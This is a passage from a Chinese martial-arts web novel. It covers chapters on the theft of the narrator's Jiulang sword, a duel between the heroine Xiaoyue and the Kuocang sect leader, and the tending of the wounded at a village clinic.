但是这一剑,并没有割破圆智的喉咙。圆智吓得浑身瘫软,如被人抽去了筋骨一般瘫在地上,浑身瑟瑟发抖。 “为什么?”陆游转身诧异地望着白景行。 我完全没有看清到底发生了什么。我只知道,陆游的剑不应当失手,但他的的确确没有如我所料想的那样割破圆智的喉咙。 白景行淡淡地说:“你不必杀他,他也不应当死。只要金刚伏魔功的功法不在他手中,他对金人来说也毫无用处。毕竟是少林的人,打狗也要看主人,虽然主人也不在了,但是狗还是少林的狗。” 白景行的话极具侮辱之意,但是此时圆智已没有心思再去为此鸣不平。因为,他已经被陆游的那一剑彻底吓蒙了。 圆智瘫坐在地上瑟瑟地抖着,他身旁不远处是一团已经熄灭的灰烬和一块烤焦了的肉,就像他那已如死灰一般的心。 第一卷 最后一个武林盟主 第四十六章 归途 金刚伏魔功到底是一种什么样的武功? 为何它会引来金国王爷完颜兀术如此大的兴趣? 既然这武功这么重要,为什么被赶出少林十六年的圆通会拥有这种武功?而他为什么让我和李小谦千里迢迢地送来各种少林功夫的秘籍,却偏偏不把这个功夫写在其中? 这一切,只有等到见了圆通才能知晓。 但此时,我已经有了另外一种感觉。 那便是杀害圆信的人,或许并不是坏人。他或许是知道了圆智与金人勾结,企图窃取少林秘籍的阴谋,所以才杀了前去禅慧寺送信的圆信。 但那人是谁? 如果按照陆游的说法,那一剑封喉却不见血光的剑法是他们陆家的剑法。如果陆游真的不是杀死圆信的黑衣人。那么,杀死圆信的人只可能有一个,那便是陆游的叔父,陆石。 “我推断得如何?” 我将这套推论告诉了李小谦。他托着下巴,思忖半晌,说:“很有道理。” 我登时心花怒放,喜不自持。 那个纠缠在一起的线团已经逐渐被我解开。但是,仍有一个结至今无解。如果杀死圆信的人不是陆游,而是陆石。那么他,为何会认得我? 这个谜团还需要日后才能解开。只有亲自见到陆石才能解开。 但是,在当时来说,这件事并不重要了!因为,白景行要走了! 少室山下,碧空如洗,一潭碧水倒映着空中的云朵,微风吹过,水波潋滟。几片树叶漂在水面上,被风吹着,倏尔聚拢,倏尔分散。 白景行望着水面,颇有深意地说:“水上的叶子有聚有散,世间的人亦是如此,在这个江湖上飘零,总有要道别的时候。” 起初,我以为他不过是偶发感慨,并没有在意。但是,李小谦问:“前辈要走?” 白景行点了点头,说:“不错!” 若是前些日子,白景行要走,我定然是不愿。因为,在这个江湖上,与高手同行所带来的安全感是任何神兵利器都无法给予的。但是,如今有了陆游,他的剑快如流星,虽然不及白景行,但绝对可以跻身一流高手的行列。 但是,我仍然不能让白景行就这样走掉。 我说:“把剑还给我?” 白景行问:“什么剑?” 我说:“我的九郎剑!” 白景行问:“什么九郎剑?” 这该死的老酒鬼莫非是故意跟我装糊涂?! 我愤怒地朝他大吼:“不要装糊涂,你抢了我的剑,还没有还给我!” 白景行呵呵地笑着,说:“老夫堂堂武林盟主,还会贪墨你一把剑吗?” 我说:“那好,你快把剑还给我!” 白景行说:“现在这把剑对你有害无益,时机未到,我不能给你。” 他说得冠冕堂皇,但我认定,他就是想要将我的剑据为己有。 但是,我绝然打不过白景行。于是,我向李小谦求助:“你评评理,他凭什么拿走我的剑却不还给我!” 李小谦尴尬地笑了笑,说:“这个......不就是一把剑嘛,送给前辈又如何?” 一股怒气直冲脑门,我大吼:“不行,这是娄琴送我的剑!” “娄琴?”白景行表情一怔,忽然大笑起来,“原来如此,原来如此!娄琴!九郎!九郎剑!有意思!有意思!” 他认得娄琴?他定然知道了这把剑的来历,所以才会这么说。我好奇心起,问:“什么意思?你认得娄琴?” 白景行说:“当然认得!那个古灵精怪的小姑娘!” 小姑娘? 我哑然无语。心想,如果娄琴能听到,或许会很开心。 李小谦咯咯地笑了起来,他说:“前辈说她是小姑娘?她可得三十岁了!三十岁的小姑娘?哈哈......” 白景行怔了怔,苦笑一声,说:“的确。逝者如斯,她已的确不是当年那个小姑娘了。”他沉默片刻,对我说:“既然是娄琴的剑,我更不能给你。待我解了这剑上的毒,我会亲自到禅慧寺送还。你只需告诉娄琴,这把剑被我白某人拿了去,她定然不会怪你。” 解毒?! 那这把剑的威力岂不将荡然无存?! 我大喊:“不行!”伸手向白景行的袖中,想要夺回九郎剑。 但这一切都是徒劳的。因为,在我刚刚伸手的那一刻,白景行已如一道魅影一般越过水潭,飘到了对岸。 他蹲下身去,将酒葫芦里灌满了水,仰首喝了一口,说:“味道淡了点,不过还有酒味儿。”说罢,他身影飘忽,突然消失在我的视线之中。 我四处寻觅,不见白景行的踪影。愤怒的无奈,无奈的愤怒,我仰头长啸:“还我剑来!”声音穿过山林,在山谷中回荡。 “......我剑来!” “剑来!” “来!” “唉!” 白景行走了。不知去向何处。虽然,我对他强盗般的行径深感愤怒与不齿。但的确又很无奈。 我与李小谦的千里少林行,就这样落下了帷幕,不知道对这样的结果,多愁善感的圆通是不是可以接受。 回去的路上,李小谦明显比来时更加轻松。他与陆游想谈甚欢,一直在交流有关文学的问题。两个人吟诗作对,听起来都有相见恨晚的感觉。 只不过,李小谦称赞陆游的话,让陆游很费解:“我是读你的诗长大了的,我从小就崇拜你!” 陆游一脸懵懂地样子,看得我忍不住想笑,他说:“李兄小的时候,小弟只怕还未出生,何来如此一说?” 李小谦一摆手,说:“这些都不重要,你只知道我很崇拜你就是了。” 陆游竟流露出少女一般的羞涩,说:“李兄真是过奖了,小弟愧不敢当。” 看他俩言语如此投机,我却始终提不起精神。九郎剑莫名其妙地被白景行抢走了,对此我一直耿耿于怀。尤其是他说要给九郎剑解毒这件事,更加让我难以接受,难以忍受。即便是他日后将九郎剑还给我,即便是九郎剑依旧是一把削铁如泥的宝剑,但是,解毒之后的九郎剑,不知道娄琴能否接受。 她会不会怪我没有保护好九郎剑? 毕竟这把剑对她来说,有着非比寻常的意义。对我亦是如此。 再渡淮水之时,我们在淮水之畔发现了一具裸尸。尸体已经腐烂变形,面目全非。但我和李小谦依旧认出了他。 不错,他便是那日被白景行百般羞辱,后来又被李小谦脱光了衣服的那名老者。李小谦的衣服依旧在他身上,遮掩着不能公诸于世的关键部位。 想必是我们走后不久,他便自杀了。 十天了。 一个人死后十天,却没有人给他收尸,任他腐烂在波澜壮阔的淮水河畔。 或许这十天里,无人经过。又或许是这十天里经过了许多人,只是经过的人麻木地看着这具死因不明的尸体,只当他是因饥饿而死的流民。 天地宽阔,河水悠悠。风吹过,带着淮水的潮湿,我感觉有些冷。但这冷却又仿佛是由内而外地发出,似乎是来自内心深处里对这个残酷世界的恐惧。 第一卷 最后一个武林盟主 第四十七章 括苍 小船飘荡在淮水中央。我向对岸眺望,发现百米之外的岸边上,人影晃动,似乎各自带着兵刃。 由于雾气朦胧,人影模糊,我们都无法辨认对岸究竟是些什么人。但从人影站位来看,似乎是一群人正对着一个人,他们各自摆开架势,仿佛是正在酝酿一场大战。 我们三人站在船头眺望。 雾气中,人数多的那边冲出一个人影,从武功路数来看,他手中的兵刃似乎是刀。 我能想到的,江湖上用刀的门派是括苍派。 对面的那个人影,明显用得是剑。轻巧灵动,快如流星,宛若游龙的剑法。 我能想到的,江湖上用剑的门派实在太多了。 但是,那用剑的人影刚刚使出两招,陆游却“啊”的叫了一声。我和李小谦几乎同时看向陆游,只见他一副惊讶的表情里还带着焦急。 李小谦轻轻拍了陆游的肩膀一下。陆游喊了一声:“舒服!” 我疑惑不解,学着李小谦的样子拍了拍陆游的另外一个肩膀,陆游又喊了一声:“是舒服!” 有那么舒服吗? 我向李小谦比划了一下,示意他也拍拍我的肩膀,让我也来感受一下。但李小谦还没动手,陆游却如蜻蜓点水一般,踏着水面,穿过重重雾气,飞到了对岸。 “我靠!”李小谦惊叫道,“轻功水上漂啊!这不科学!” 由于陆游的不期而至,对面瞬间乱成了一团。显然陆游是帮着那个用剑的人,他们两人并肩而立,对面十几个人挥舞着同样的刀法向陆游和他身边的人影砍去。 陆游和那人影使着如出一辙的剑法还击。 那个人影用的竟是陆家的剑法!难道那个人是陆石?! 我这才明白,当我和李小谦拍在陆游肩膀上的时候,他所感到的并不是“舒服”,而是他看到了自己的“叔父”。 小船依旧不紧不慢地摇曳着宽阔的河面上。我和李小谦都焦急地眺望着对岸一群激斗正酣的黑影。 渐渐地,我已分辨不出哪个才是陆游。 “陆游呢?”李小谦问。 我寻觅一番,说:“分不清楚了!” 突然,河面上一个黑影向我们飘来。我大惊,叫道:“不好,有人来了!” 李小谦已经摆出了少林擒拿手的架势,准备将那人影就地按倒。但那黑影渐近,我们却发现是陆游又飘了回来。 他落在船头,大口喘着粗气,一副惊魂未定的模样。 我扶住陆游的胳膊,软剑还在他手中,都没来得及插入腰间。我问:“是你叔父?” 陆游摇了摇头,气喘吁吁地说:“不是!” 李小谦问:“是什么人?” 陆游猛地抖了一个激灵,说:“女鬼!” “女鬼!” 我和李小谦同时叫道。 这世间竟真的有鬼?!我突然感觉脚下发软,松开陆游,趴在船边上使劲地扒着水,想要将船往相反的方向划。我用尽全身力气,但仍旧比不过浩浩荡荡的水流,小船依旧是摇曳着,缓慢地飘向对岸。 李小谦问:“怎么会有女鬼?什么样的女鬼?” 陆游目光怯怯,浑身哆嗦,说:“她,她穿着黑衣裳,披散着头发,眼神很冷很恐怖,半边脸上有一块巴掌大的黑斑!” “小月!” 我和李小谦又同时叫道。 我俩对视一眼,几乎同时蹲了下去,趴在船上,使劲地扒水,虽然不能将船划离岸边,但即便是让它停下来,我俩也愿意倾尽所有的努力。 因为,小月,远比女鬼更加恐怖! 但是,人力不能胜天。在浩浩荡荡流淌的河水面前,我和李小谦不过是螳臂当车的螳螂,丝毫改变不了船的去向。 船还是不可避免地靠了岸。我和李小谦累得瘫坐在船上,连动弹都动弹不得了。 打斗声距离我们不过十几米远。陆游依旧是颤巍巍地站在船头,他怔怔地凝视,眼神中充满了疑惑。 “不对!这个女鬼怎么会用我陆家的剑法?”陆游仿佛发现了小月并不是女鬼,而是一个会使陆家剑法的丑女。 他当即醒悟,手中的软剑一抖,软剑如蛇一般地抖动,发出“苏拉”一声响。陆游身影一晃,再次冲入了人群。 “你刚才跑什么?!”是小月愤怒的声音。 “你是谁?为什么会陆家剑法?”陆游没有直接回答小月的质问,而是问了他所关心的问题。 “我是你师妹!”小月大声喊道。 “师妹?!”陆游惊讶地说,“我什么时候有师妹?我怎么不知道?” 小月挡下迎面的一刀,叫道:“家师陆石!” “啊?!”陆游惊叫一声,横扫一剑,将面前的五人逼退数步,说,“原来你是叔父的徒弟!” 素未谋面的师兄妹相见的第一面,陆游便被吓跑了。误将师妹认作女鬼,不知道陆游今后要如何面对小月。 但眼前的形势,远比陆游今后所要面对的更加严峻。 无论是陆游还是小月,都是江湖上顶尖的高手。但是,站在他们面前的不只是人数众多的敌人,还有长刀陡立的括苍派掌门陈伯洋。 陈伯洋似乎是发现了什么,他拦住了身后蓄势待发的弟子,说:“你是陆石的弟子?!” 小月冷冷地说:“是又怎样?” 陈伯洋目光移向陆游,问:“你又是谁?” 陆游反握软剑,拱手行礼,说:“晚辈陆游,前辈认得家叔?” 陈伯洋说:“陆公大义,声名远扬,我虽不认得,却也久仰大名。” 陆游声音更加谦恭,说:“多谢前辈称赞,晚辈替叔父谢过。不知前辈尊姓大名?” “他就是括苍派的陈伯洋老头!”小月抢先回答,语气中颇有不屑。 “不得无礼!”陆游摆起了师兄的架子,呵斥小月,然后向陈伯洋歉意道,“小妹无礼,请陈前辈不要怪罪。” “哼!”陈伯洋冷哼一声,狠狠地说,“不要怪罪?!这恶女杀了我括苍派四名弟子,岂是你一句‘不要怪罪’就能了事的?!” 我心里咯噔一下,暗叫不妙。倘若让陈伯洋知道了我和李小谦帮小月藏尸的事,他岂不是要迁怒于我?! 我低声询问李小谦:“怎么办?” 李小谦说:“不要慌!先看看形势怎么发展。” 陆游表情十分惊讶,他问小月:“你,你杀了括苍派的弟子?!” “不错!”小月坦然回答。 “好,好,很好!”陈伯洋瞪着双眼,喝道,“你肯认就好!今天,我就要杀了你为我可怜的弟子报仇雪恨。就算他日陆石找上门来,他也说不得什么!” “前辈且慢!” 陈伯洋刚刚挺起刀刃,却被陆游大声喝止。陆游极力安抚着陈伯洋地情绪,说:“前辈请看在叔父薄面上,听我一言。” 刀刃缓缓垂下,陈伯洋冷冷地说:“你说!” 陆游说:“我虽与师妹初次相见,但我相信家叔的为人,他收的弟子定然也不是滥杀无辜之人。还请前辈查明缘由,再行处置。” 陈伯洋却更加愤怒了,他大声喝道:“依你的意思,还是我括苍派的弟子做了什么该死的事情?!” 陆游说:“晚辈绝无此意。只是,只是,我,我......” 陈伯洋说:“杀人偿命,还有什么好说的!莫不是你陆家人仗着名声显赫,剑法高强,就不把我括苍派放在眼里不成!” 陆游有些慌了,他扯了扯小月的衣角,说:“你说啊!到底是为什么杀人?!” 小月冷哼一声,说:“是那四个淫贼调戏于我,被我戳破门楣,竟要杀人灭口,所以我才杀了他们!” 陈伯洋哈哈大笑,冷笑,似乎也是嘲笑。他说:“你也不看看自己的样子!我那四个徒弟就算再没见过世面也不会调戏你这种丑八怪!你这样的借口,自己不觉得好笑吗?!” 陆游沉默了。 我想起那日括苍派的四个恶徒,义愤填胸,当即站起身来,大喊:“我可以作证!” 第一卷 最后一个武林盟主 第四十八章 单挑 我可以作证。 我可以证明括苍派的四个人是怎样奸邪淫(脱敏)荡之徒。我可以证明是那四个人调戏在先,所以才会被小月杀死。我可以证明小月说得都是真的。 但是,还没等我开口。陈伯洋身后站出一个凶神恶煞的壮汉,他举起刀指着我破口大骂:“你是什么东西?敢在这里胡说八道。” 我当然没有胡说八道。我指着李小谦说:“他也可以作证。” 当我扭头去看李小谦时,不知何故,他竟然躺在船上双目紧闭,一动不动。 我蹲下去,摇着李小谦,喊:“你怎么了?你怎么了?” “这位小兄弟有些面善,我们是不是在哪里见过?”陈伯洋盯着我,疑惑地问。 我说:“巢湖武林大会!” 陈伯洋恍然醒悟,说道:“你是那日与白盟主一起前往巢湖的少年!白盟主是不是也来了?”他四处张望,似乎是在寻找白景行的踪影。 我说:“他没有来!” 陈伯洋的眼中有些失望。陆游趁机插话,说:“前辈,姬兄弟说他可以证明,定然是知晓此时,请容姬兄弟说明情况。” 陈伯洋突然严肃起来,声音尖涩,问:“你怎么会知道此事?” “呵呵!” 是小月。她笑了起来,声音轻柔却又有挑拨之意,她说:“他当然知道。因为,那四个淫贼的尸首就是他帮着我埋起来的!” 她这话刚说完,括苍派所有的人目光齐刷刷地看向我,目光如刀,带着凛凛的杀意。 我心里咚咚直跳,虽然冷风从未停过,但仍觉得后背汗水直流。 “她说得可是真的?!”陈伯洋目光如刺。 我心想,死就死了!况且有陆游在,我也没那么容易死掉。 我壮着胆子大喊:“不错!是我和李小谦帮着小月埋的!” “靠!” 脚边突然传来声音,我大喜,李小谦终于醒了,可以和我一同作证了。我顿时有种孤军奋战了许久,终于等到援兵的兴奋感。 然而,当我扭头去看他时,他依旧是紧闭双眼,一动不动,如死人一般。 原来,他是装的! 陈伯洋沉默了许久,表情虽然还是严肃,但声音却缓和了许多。他说:“我虽对你并不熟悉,但我相信白盟主的品行,他肯将你带在身边,定然是认可你的。你把当日之事如实陈述,是非曲直我自然会公正评判。” 听 陈伯洋表态,我心里轻松了许多,当即把那天在江湖客栈中发生的事情讲了一遍。 陈伯洋听着,脸色越来越难看。尤其是当我说到,那四个人被小月戳破门楣之后,竟说要玩完了小月再杀人灭口之时,陈伯洋愤怒地将刀摔在地上,来回踱步。最后,指着天破口大骂:“这群畜生!把括苍派的脸面都给丢尽了!” 我忍不住叹息。看来这个陈伯洋还是明辨事理的。我说:“无论如何,括苍派的恶徒已经受到了应有的惩罚。前辈不必太过介怀。” 陈伯洋目光突然变得冷峻,狠狠瞪了我一眼,我心里咯噔一下,吓得浑身汗毛都立了起来。他目光转而投向小月,说:“他四人虽然有错,但姑娘下手也忒狠了些吧!” “怎么?”小月笑道,“莫非我只能等着被他们杀却不能还手吗?” 陈伯洋冷哼一声,说:“姑娘说笑了。以姑娘的武功,我那几个劣徒恐怕还伤不了你。你又何必非要痛下杀手呢?!” 小月说:“我给过他们机会,但他们不想跑。所以,我只好勉为其难,替陈掌门清理门户了。” 陈伯洋气得脸上肌肉一阵抽搐,刚想开口却被小月截断了,她说:“你不必谢我。我也是为民除害而已。” 陆游听小月这样刺激陈伯洋,十分着急,连连拉扯小月的衣角,要她住口。但小月根本不理会这个素不相识的师哥,她继续说道:“如果陈掌门一定要谢,那就请将此事公布于江湖,就说我陆家山庄替你们括苍派除了四个淫贼。” 陈伯洋气得眼睛都快爆出眼窝了,他咬牙切齿地说:“我陈某人再不济也不需要别人替我清理门户。姑娘这么说,也太不把我陈某人放在眼里了!” 陆游拦住小月,抢先说道:“前辈深明大义,晚辈感激不尽,但请念在小妹年幼无知,不要与她计较。” 小月毫不领情,说:“不要你多管闲事。陈老头教出那么四个淫贼,事到如今却还想要护短,依我看这陈老头也不是什么好东西。我倒要看看他今天能把我怎么样?!” 陆游的脸上写满了无奈。他极力地制止,但小月却一再地惹怒陈伯洋,眼看这一战在所难免,陆游只得握紧了剑柄,等待应战。 陈伯洋被气得已经满脸通红,像被火烤着一般,眼看着就要冒出烟来。他喘着粗气,叫道:“好!好狂妄!如此不可一世,我倒要看看你有什么本事?!” 他脚尖儿一挑,长刀从地上被搓了起来。陈伯洋稳稳握住刀柄,明晃晃的刀光闪动,他向身后一挥手 ,说:“你们谁也不许动,今日我要单独会会这个女子,看看她小小年纪到底有何本事,能不能撑得起她这份轻狂!” 说罢,他撩起长刀只冲向小月。 小月抖动长剑,向前应击。陆游却没有动。 我快步走到陆游跟前,问:“你怎么不帮帮她?” 陆游叹了口气,说:“陈掌门虽然生气,言语上一直避讳,不管小月如何引诱,他都不肯将此事说成是陆家与括苍派的恩怨,只说是他个人与师妹之间的恩怨。他名言与师妹单挑,我若出手,一来不符合江湖规矩,二来他的弟子定然相帮,我师妹二人对阵括苍派,那时便真的成了陆家与括苍派之间的恩怨了。” 我并不能完全理解陆游的话。不过,我仍然认为我们不能眼睁睁地看着小月被陈伯洋杀死。我着急地说:“难道就看着小月送死吗?” 陆游摇了摇头,说:“我相信陈掌门不会杀她的。” 我问:“如果你猜错了呢?” 陆游沉默了。 这时,小月与陈伯洋已经过了十余招。陈伯洋内功深厚,刀法刚猛,气势逼人。但小月轻巧灵动,剑法快如流星。 刀剑相较,一时间难分伯仲! 但是,小月毕竟年龄尚浅,内力跟陈伯洋这样的江湖前辈是没法比的。渐渐地,她手中的剑变得有些迟钝,看起来是有些体力不支了。 陈伯洋一刀接着一刀地向下砍,小月用剑格挡地越来越费力。她眉头紧蹙,或许是接刀的瞬间震动极大,小月的表情看起来有些痛苦。 我着急地问陆游:“你还不出手吗?” 陆游说:“别说我不能出手,就算出手也没用。” 我不解地问:“为什么?” 陆游说:“你没看出来吗?陈掌门并未使出全力,他仍然有所保留。” 的确,我再看向陈伯洋时,感觉他虽然表情凝重,但刀法连贯,游刃有余,明显处于上峰。但他,并没有趁势而进,直接取了小月的性命。 或许,陆游猜得是对的,陈伯洋真的无心杀小月。 突然,小月身影一晃,竟然完全化成一道黑影。一道如鬼魅一般游离的黑影,身形样貌全然不见,只见一道黑影和一柄挥舞得密不透风的长剑,围着陈伯洋左右穿梭。 这画面竟与在禅慧寺外所见到的一模一样!如猫捉老鼠一般地玩弄! 只是,那个被玩弄的老鼠已不再是光头的圆信,而且括苍派的掌门陈伯洋! (本章完) 第一卷 最后一个武林盟主 第四十九章 重伤 局势逆转。 小月突然化成一道黑影一扫颓势,她和她手中的剑,只一转眼间竟已然占尽了优势。 人如鬼魅,捉摸不定。剑如雨落,密不透风。 陈伯洋渐渐露出惊慌之色,他挥舞着长刀,左右格挡,但无奈小月的剑快如流星,他似乎使劲全力却越来越吃力了。 陆游突然大叫一声:“不好!”他抖动软剑,“苏拉”一声响,化作一道蓝影,冲上前去,喝道:“师妹,快快住手!” 说好了不动手,但陆游为何却在小月占据上风之时突然杀入人群? 我相信陆游的人品,所以我坚信他不会言而无信。 他此时出手,定然有他的道理。 他让小月住手,莫非是他意料到小月接下来会使出杀招? 我想起那日禅慧寺外那一战。黑衣人化作黑影,挥舞着剑,把武功高强的圆信纠缠得筋疲力尽。 然后,一剑封喉! 难道,小月也会在陈伯洋筋疲力竭之时,赐他一剑封喉吗? 她真的有那么强大的本领吗? 她的对手是陈伯洋。括苍派的掌门陈伯洋。南派武林五大门派之一的括苍派掌门陈伯洋。他虽然不及白景行的武功那般神鬼难测,但却也是江湖上屈指可数的高手。 如果,小月真的可以如此轻巧地杀了陈伯洋。那么,她的师父,陆游的叔父,陆石,他的武功将会恐怖到何种地步? 那个人,那道杀死圆信的黑影,那个认得我的黑衣人,真的会是陆石吗? 虽然疑惑重重。但眼前的局势却已经容不得我再多思虑。 因为,太精彩,精彩得让人瞠目结舌,精彩得让人眼花缭乱。 就在陆游被括苍派的十几名高手缠斗着难以脱身之时。就在眼看着陈伯洋成了即将被玩弄致死的老鼠时,他双足点地,整个人如龙如九霄,窜天而起。 他的身体急速地旋转着,他的刀也随着他的人急速地旋转着。 长刀破空,声响入耳,却如龙吟一般。 升至半空,陈伯洋长刀陡然转向,如猛虎扑食一般直冲下来。 刀锋从天而降,气势逼人。 他连人带刀,越来越快,越来越猛,刀身竟在空中擦出火光。陈伯洋如从天而降的火球,砸向了仍在原地盘旋的黑影。 “师妹!”陆游惊恐地大叫。 但,一切都为时已晚。因为,我听到“轰”地一声巨响。从天而降的火球直直地砸在黑影之上。 火球熄灭了,是陈伯洋傲然挺拔的身影。 黑影不见了,却是口吐鲜血的小月倒飞入了我的怀中。 不知为何,我会鬼使神差一般地去接住小月。 但当我接住小月的瞬间,我被惊到了。她披散的头发垂下,脸上的黑斑却已然不见了踪影。 那是一张倾世的容颜,只看一眼,便会让人永生铭记。 那也是一张令人心痛的脸,她樱唇边挂着鲜血,她玲珑般的鼻翼微动,她原本如月映深潭般的明眸已黯然失去了光彩。她气若游丝,仿佛随时都要死在我怀里。 “小月!” 我叫着她的名字。她却微微一笑,昏死过去。 那一笑,胜过世间一切的美好。 那一笑,足以让我抛弃一切,甚至是生命也要去守护她。 我抱着她向船上奔跑,我决不允许她再受到任何伤害。 她并不重,但奈何我力量不足,用尽全身力气,奔跑的速度仍旧差强人意。 眼看着陈伯洋举刀扑来,我将小月紧紧护在怀里,生死一线,但我却从未如此坦然。我看着她,突然有种从未有过的感觉,即便是这个时候死了,能拥她在怀里,此生也已无憾了。 “住手!” 刀锋在我身前几寸处戛然而止。我与陈伯洋同时循声张望。我以为又是什么厉害的人物突然降临,没想到是陆游压着嗓子大喊了一声。 陆游踏着轻巧的步子从与括苍派十几个人的缠斗中撤了出来,跃到我的身前,挡住了陈伯洋的刀。他说:“前辈当真要大开杀戒吗?” 抱着小月,我感觉自己浑身都是力量,满心都是勇气,我大吼:“有种你来呀!” 陈伯洋一脸不悦,但却收起了刀,说:“你是白盟主的朋友,我不会杀你。” 虽然既有力量又有勇气,但生死边缘,难免恐惧。陈伯洋一说不会杀我,心里悬着的一块石头登时落地。我大呼一口气,说:“吓死老子了!” 陆游说:“多谢前辈手下留情!” 陈伯洋说:“不必谢我。我佩服陆公的忠义,不会对你们陆家的人下杀手。但也请转告陆公,希望他以后管好自己的徒弟,莫要仗着自己学了些微末功夫,就在江湖上目中无人,乱惹是非,坏了陆公的一世英名。” 陆游十分谦恭地回应:“是。前辈教诲,晚辈铭记于心,日后一定对师妹严加管教!” 陈伯洋冷哼一声,转身离开。 “师父!”一个壮汉站了出来,说,“师兄师弟的仇,就这样算了吗?” 陈伯洋道:“你说呢?!还嫌不够丢人吗?!” 十几个人狠狠地瞪着我们,似乎怒气难平。但终究是师命难违,纷纷随着陈伯洋离开了。 这一场恶斗,终于落下帷幕。 一切看似化险为夷,但我怀中的小月,依旧如死人一般地昏迷。 陆游查看了小月的伤情,说:“她受的内伤不轻,需要快些医治。” 我心中焦急,问:“到哪里治?” 陆游说:“陆家山庄,找我叔父!” 陆石?! 就要见到陆石了吗? 我突然有些紧张。虽然,我知道心中的种种疑惑必须要见到陆石才能解开。但是,真的要就要去见他了,却忽然有些害怕。 或许,这便是人对于未知之事本能的恐惧罢。 “李兄怎么了?”陆游看着船上一动不动的李小谦,问。 我顿时生出一股怒火,直冲脑门,大声吼道:“这贱人在装死!” “装死?!”陆游疑惑地看着我,问,“为何要装死?” 我说:“我不知道,你去问他!” 陆游走到船边,忽然“啊”地叫了一声,喊道:“姬兄,李兄死了!” 死了?! 我说:“不可能!刚才他还在‘靠’!”我抱着小月走到船边,登时被眼前的景象吓傻了。 只见船舱里满满的都是血,不知何时,一柄长刀从李小谦的腹部斜着插了进去。我大叫一声:“靠!” 陆游一摸李小谦的鼻息,说道:“还活着,快去找大夫!” 这荒郊野岭的去哪里找大夫? 我急得直冒冷汗,一时慌乱,竟忘了怀里抱着的是倾国倾城而身受重伤的小月,一撒手,小月重重摔在地上。这一摔着实不轻,竟把昏死地小月活活摔醒了,她闷哼一声,惊讶地瞪着双眼盯着我,“哇”地吐了一口血,骂道:“你,你个臭,臭小子!”随即又昏死过去。 “啊!”我大叫,慌忙抱起小月,说,“对不起!对不起!” 陆游也有些手忙脚乱。李小谦浑身是血,刀入腹中很深。陆游似乎是感受到了此时的无奈,当即仰天长啸:“淮水河畔雾蒙蒙,剑光一闪风云生,我欲持剑朝天阙,奈何......奈何......”他憋得满脸通红,一拍脑门,叫道:“哎呀,怎么接呢?!” 船上是垂死挣扎的李小谦,怀里是生死未卜的小月,船边竟然是即兴赋诗却无奈词穷的陆游,我急火攻心,大叫:“别他娘的作诗了,能不能先救人?” 陆游这才从诗词歌赋中回过神来,连连点头,说道:“救人,救人!”当即抱起李小谦,我二人迎着夕阳,狂奔在一望无垠的荒野,为了各自怀里的人,倾尽全力,去寻找生的希望。 第一卷 最后一个武林盟主 第五十章 疗伤 小月的伤更重了。 因为我抱着小月,拼劲全力地奔跑,为抢救她的生命争取宝贵的时间。 但由于我体力不支,一路上,还是摔了她很多次。 当跑到最近镇子上的医馆时,小月几乎已经踏入了鬼门关。陆游心急如焚,气都没有喘上几口,便飞上屋檐,披星戴月地赶往陆家山庄请他叔父了。 “这是怎么伤的?”留着山羊胡的老郎中淡定地捋着胡子,他眉毛上挑,原本就沟壑纵横的脸上褶子更加明显了。一只枯瘦的手搭在小月的脉门上,老郎中叹息一声:“伤得真是不轻啊!怎么会伤成这样?” 我急得满头大汗,说:“别问了,你快点给她治伤吧。” 老郎中说:“行医之道,讲究望闻问切,我不问清楚怎么给她疗伤啊?”他站起身来,又走到李小谦的身边,摸了摸他的脉,又看了看他的伤,说:“这个先不用治了。” 我大惊,叫道:“他没救了?!”一股强烈的悲伤油然而起。 李小谦不知什么时候醒了过来,他似乎听到了老郎中地话,伸手攥着我的手说:“旦丙,我要回去了!” 老郎中白了他一眼,说:“别矫情,你回不去!”他将手搭在小月的脖颈上,眉头紧缩,不住地摇头,说:“可惜了,可惜了。这个恐怕真的要回去了!”他又转身走到李小谦跟前,说:“还是先救这个吧。” 这个老郎中不知道李小谦的来历,所以并没有理解李小谦的意思。李小谦所说得“回去”,是回到九百年后他的家里去,而老郎中所说的“回去”却是回到人投胎转世的地方去。 我看着小月,心里刀割一般地疼痛。老郎中说,她要“回去”了!我鼻头一酸,视线竟然被泪水模糊了。 她本来还有救的。是我摔死了她。我很内疚。 “别他妈的救我!”李小谦突然竭力吼叫:“让老子回去!我要去找我妈!” 老郎中毫不理会,开始用银针封锁李小谦伤口周围的穴道,一边下针,一边说:“你说回去就回去,老夫的名声还要不要了?” 李小谦开始扭动,抗拒老郎中的医治。 老郎中哼了一声,从药箱里拿出一个棕色的药包,捂到李小谦的鼻子上,不一会儿,李小谦便晕了过去。他啐了一口,说:“老夫行医数十年,还能让你砸了招牌不成?既然你进了我的门,你非得活着出去不行!” 我说:“你把他怎么了?” 老郎中说:“他不老实,我给他上了点麻沸散!”说话间,他的针已全部下完,李小谦腹部不止翘着一柄刀,还有二十几根闪亮的银针,看上去像个刺猬。 “来,来,来!”老郎中向我招手,“把他身子按住,我来拔刀。” 我抹去眼中的泪水,回首望了一眼小月。虽然不舍,但总要先顾忌能救得活的。我按住李小谦的双肩,老郎中握住刀柄,猛地向上一提,就像拔刀出鞘一样。 不同的是,刀出鞘不会喷血。 李小谦的伤口却喷了很多血。 我惊道:“他喷血了!” 老郎中不慌不忙地开始往李小谦的腹部敷草药,说:“别急。上了老夫的药,血马上就会止住。”果然,药敷到哪里,那块伤口的血就立时止住,当老郎中草药铺满李小谦的伤口时,整个伤口都没有再冒出一丝血。 虽然李小谦的伤来得莫名其妙,但是,总算是将他救活了。 然而,小月却依旧静静地躺在另外一张床上。原本红得像熟透了的苹果一样的嘴唇已变得煞白,她原本白里透红的脸却如白纸一样惨白。 我怔怔地看着小月,仿佛感觉她的灵魂正在从她的肉体中抽离。我想伸手去抓住,但任凭我如何努力,抓住的永远都是抓不住的空气,就像水一样,永远会在我握拳的一瞬间流出我的掌心。 小月! 我在内心深处呼喊着她的名字。我突然感觉从未有过的悲伤,即便是八矛师父死的时候,心里也没有这样滴血一般地疼痛。 为什么? 为什么我的心会痛? 是因为愧疚吗? 如果可以,我情愿是我躺着那张冰冷的床上,去感受灵魂剥离肉体的恐惧。只要能换回小月的命。 “哐”的一声。 医馆的门被大力踹开了。 老郎中看着被踹了一个大窟窿的木门,满眼愤怒与心痛,叫道:“非要用脚踹不可吗?我的老檀木门吆~” “月儿呢?”一个头偏矮,面容消瘦但却精神矍铄的中年男人出现在门口。他莫约四十几岁,一身素黑衣裳,如鹰一般锐利的眼睛在屋内扫了一圈,最终落在一动不动的小月身上。 他快步走到小月身旁,一把掐住小月的手腕,忽然眉头紧锁,喝道:“是什么人把她伤成这样?” 